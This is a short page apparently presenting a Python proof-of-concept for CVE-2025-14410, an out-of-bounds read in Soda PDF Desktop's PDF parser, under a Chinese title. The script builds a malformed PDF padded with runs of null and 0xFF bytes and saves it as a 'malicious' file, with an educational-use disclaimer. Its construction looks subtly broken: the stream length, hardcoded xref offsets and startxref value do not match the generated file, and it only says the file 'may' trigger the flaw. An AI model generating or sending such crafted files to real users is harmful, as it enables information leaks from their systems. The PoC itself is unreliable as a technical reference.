CVE-2025-14410 Soda PDF Desktop PDF解析越界读取信息泄露漏洞

# CVE-2025-14410 PoC - Malformed PDF for Soda PDF Desktop # This PoC demonstrates the structure needed to trigger the OOB read vulnerability # Note: This is for educational and testing purposes only from construct import * import struct def create_malformed_pdf(): """ Create a malformed PDF that may trigger OOB read in Soda PDF Desktop The vulnerability exists in PDF parsing where bounds checking is insufficient """ # Malicious PDF structure to trigger OOB read pdf_content = b"%PDF-1.7\n" # Object with crafted stream data that exceeds expected bounds obj_with_oob_trigger = b"""1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /Resources << /Font << /F1 << /Type /Font /Subtype /Type1 >> >> >> /MediaBox [0 0 612 792] /Contents 4 0 R >> endobj 4 0 obj << /Length 1000 >> stream """ # Crafted content stream with malformed data structures # This attempts to trigger the OOB read in PDF parser stream_data = b"BT\n" stream_data += b"/F1 12 Tf\n" # Malformed inline image or stream data stream_data += b"\x00\x00\x00\x00\x00\x00\x00\x00" * 100 # Padding to trigger bounds issue stream_data += b"\xff\xff\xff\xff\xff\xff\xff\xff" * 50 # More crafted data stream_data += b"\nET\n" endstream = b"\nendstream\nendobj\n" pdf_content += obj_with_oob_trigger + stream_data + endstream # Add cross-reference table and trailer pdf_content += b"""xref 0 5 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000314 00000 n trailer << /Size 5 /Root 1 0 R >> startxref """ pdf_content += str(len(pdf_content)).encode() pdf_content += b"\n%%EOF" return pdf_content if __name__ == "__main__": pdf_data = create_malformed_pdf() with open("CVE-2025-14410_malicious.pdf", "wb") as f: f.write(pdf_data) print("Malicious PDF created: CVE-2025-14410_malicious.pdf") print("This PoC demonstrates the structure that may trigger the OOB read vulnerability")